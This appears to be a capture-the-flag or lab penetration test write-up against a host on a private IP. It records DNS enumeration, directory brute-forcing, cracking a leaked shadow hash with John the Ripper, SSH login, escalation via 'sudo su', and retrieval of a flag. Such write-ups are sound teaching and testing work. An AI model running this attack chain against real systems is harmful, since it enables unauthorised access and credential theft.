# Penetration Testing Report

## Target:

\*\*Domain:\*\* yolo.co.il  
\*\*IP Address:\*\* 10.1.22.124

## Tools Used:

- dnsenum: DNS enumeration tool

- dirbuster: Directory and file brute-forcing tool

- John the Ripper: Password cracking tool

- nmap: Network scanner

- SSH: Secure Shell

- ls: List directory contents

## 1. DNS Enumeration of yolo.co.il

The penetration test began with DNS enumeration of yolo.co.il using dnsenum. This revealed key details such as the IP address and name server information.

\*\*Command:\*\*  
  
bash  
dnsenum --enum yolo.co.il

\*\*Output:\*\*

IP Address of yolo.co.il: 10.1.22.124

Mail Server: Not found

Name Server: 10.1.22.124

Zone Transfer: Connection refused

Brute-force Subdomain Enumeration Results:

- admin.yolo.co.il (A record: 10.1.22.124)

- ftp.yolo.co.il (A record: 192.168.2.8)

## 2. Directory Busting of admin.yolo.co.il

\*\*Command:\*\*  
  
bash  
dirbuster -u http://admin.yolo.co.il -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

\*\*Result:\*\*  
- Directory Found: /admin/backup

## 3. Extracting File from /admin/backup

Inside /admin/backup, a file containing sensitive data was discovered. Analysis of the file revealed an entry from /etc/shadow:

- \*\*User\*\*: dexter  
- \*\*Password Hash\*\*: $y$j9T$FVrhmaG8xav3NzNyqvkUN.$cKOnOMgGXDigPZRfgnGLP9egOrZgHmqVmPIOwXgB2zD

## 4. Cracking Password with John the Ripper

\*\*Command:\*\*  
  
bash  
john --format=crypt /path/to/shadow

\*\*Output:\*\*  
- \*\*Password\*\*: iloveyou1

## 5. SSH Access as dexter

The nmap scan identified the SSH service running on port 2222. Using the cracked credentials, an SSH connection was established.

\*\*Command:\*\*  
  
bash  
ssh dexter@10.1.22.124 -p 2222

Successful login was achieved as dexter.

## 6. Privilege Escalation

Upon login, an attempt to escalate privileges was made. The dexter user was found to have sudo access.

\*\*Command:\*\*  
  
bash  
sudo su

This granted root access to the system.

## 7. Finding the Flag

With root access, a hidden flag file was located using directory listing commands.

\*\*Command:\*\*  
  
bash  
ls -la

\*\*Discovered File:\*\* flag1.txt  
  
\*\*Flag Content:\*\*  
  
flag{hidden\_flag\_1234}

## Conclusion

The penetration test successfully identified and exploited security weaknesses in yolo.co.il. The key takeaways are:

- DNS enumeration revealed subdomains.

- Directory busting exposed a sensitive backup directory.

- A password hash was extracted and cracked.

- SSH access was gained as dexter.

- Privileges were escalated to root.

- A hidden flag file was discovered.

This assessment highlights vulnerabilities that should be addressed to enhance security.